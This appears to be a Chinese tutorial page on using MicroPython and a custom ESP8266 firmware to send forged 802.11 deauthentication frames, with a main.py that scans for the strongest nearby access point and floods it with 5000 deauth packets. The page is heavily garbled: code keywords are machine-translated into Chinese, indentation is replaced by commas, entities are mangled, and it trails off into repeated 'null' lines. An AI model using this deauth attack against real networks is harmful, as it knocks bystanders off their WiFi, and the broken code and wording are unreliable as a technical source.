MicroPython怎么实现wifi干扰与抓包

  介绍

这篇文章主要介绍”MicroPython怎么实现wifi干扰与抓包”,在日常操作中,相信很多人在MicroPython怎么实现wifi干扰与抓包问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答“MicroPython怎么实现wifi干扰与抓包”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

<强> 0 x01实现原理

),,,通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。

b),,,调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。

0 x02攻击构思

),,,程序一开始扫描附件的美联社。

b),,,找到信号最强的美联社,获取到他的MAC地址(bssid)和信道。

c),,,将TPYBoardv202切换到同攻击美联社相同的信道。

d),,据美联社的MAC,使用攻击地址,组合deauth解除认证包发送。

<强> 0 x03编译烧写固件及程序源码

1,,,,编译固件

现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是

我自己动手编译了一次固件,地址:https://github.com/PakchoiFood/micropython-deauth

大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:https://github.com/micropython/micropython/tree/master/esp8266

需要注意:在编译esp8266-sdk时,注意版本必须1.3.0是版本版本,否则wifi_send_pkt_freedom函数会一直返回1失败。

下载后解压,文件如下:

 MicroPython怎么实现wifi干扰与抓包

固件。本文件:micropython-esp8266生成的固件。

增加的内容:

setAttack函数

参数:int类型(信道)

功能:设置esp8266的信道

send_pkt_freedom函数

参数:字节数组(定义的数据包)

flash_download_tools_v3.3.6_win。rar:烧写固件的工具。

MicroPythonFileUploader。rar:用于将程序下载到TPYBoardv202Flash的工具。

main.py文件:程序源码文件,主要实现附件美联社的扫描,数据包的组合和调用发送。

 import 时间
  import  uo
  import 无线
  
  
  sta_if=wireless.attack (0) # 0: STA 模式,
  sta_if.active(真正的)
  ap_list=sta_if.scan ()
  打印(ap_list)
  名称=& # 39;& # 39;
  bssid=& # 39; & # 39; # bssid: AP  MAC 地址
  频道=& # 39;& # 39;#信道
  _client=[0 xff 0 xff 0 xff, 0 xff, 0 xff, 0 xff] #默认
  
  def  deauth (_ap _client、类型、原因):
  ,,,#,0,安康;1,,,,,subtype  c0:, deauth  (a0:电离)
  ,,,#,2,安康;3,,,duration  (SDK  takes  care  of )
  ,,,#,4,安康;9,,,reciever (目标)
  ,,,#,10,安康;15,source (美联社)
  ,,,#,16,安康;21,BSSID (美联社)
  ,,,#,22,安康;23,fragment , squence 数量
  ,,,#,24,安康;25,reason  code  (1,=, unspecified 原因)
  ,,,包=中bytearray ([0 xc0 0 x00 0 x00 0 x00, 0 xbb 0 xbb 0 xbb 0 xbb 0 xbb 0 xbb 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc,, 0 xcc, 0 x00,, 0 x00, 0 x01,, 0 x00])
  ,,,for 小姐:拷贝范围(0,6):
  ,,,,,,,包(4,+,我),=_client[我]
  ,,,,,,,包(10 +祝福;我),=,包(16 +祝福;我),=_ap[我]
  ,,,# set 类型
  ,,,包[0],=,类型;
  ,,,包[24],=,原因
  ,,,结果=sta_if.send_pkt_freedom(包)
  ,,,if 结果==0:
  ,,,,,,,time.sleep_ms (1)
  ,,,,,,,return 真实的
  ,,,:
  ,,,,,,,return 错误的
  ,,,,
  if  __name__==癬_main__":
  ,,,max_rssid=0
  ,,,max_id=0
  ,,,num=0
  
  ,,,#获取信号最强的AP 进行攻击
  ,,,for 小姐:拷贝ap_list:
  ,,,,,,,if  max_rssid==0:
  ,,,,,,,,,,,我[3]# rssid max_rssid=,,,,,,,其他的:
  ,,,,,,,,,,,if 我[3]祝辞max_rssid:
  ,,,,,,,,,,,,,,,max_rssid=我[3]
  ,,,,,,,,,,,,,,,max_id=num
  ,,,,,,,num +=1
  ,,,名称=ap_list [max_id] [0]
  ,,,bssid=ap_list [max_id] [1]
  ,,,频道=ap_list [max_id] [2]
  ,,,print(& # 39;名称:& # 39;,名称,& # 39;-bssid: & # 39;, bssid)
  ,,,print(& # 39;声道输出:& # 39;,频道& # 39;-rssid: & # 39;, max_rssid)
  ,,,sendNum=5000 #攻击次数
  ,,
  ,,,print (& # 39; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * & # 39;)
  ,,,if  sta_if.setAttack(通道):
  ,,,,,,,印刷(& # 39;Set  Attack 好吧,)
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null

MicroPython怎么实现wifi干扰与抓包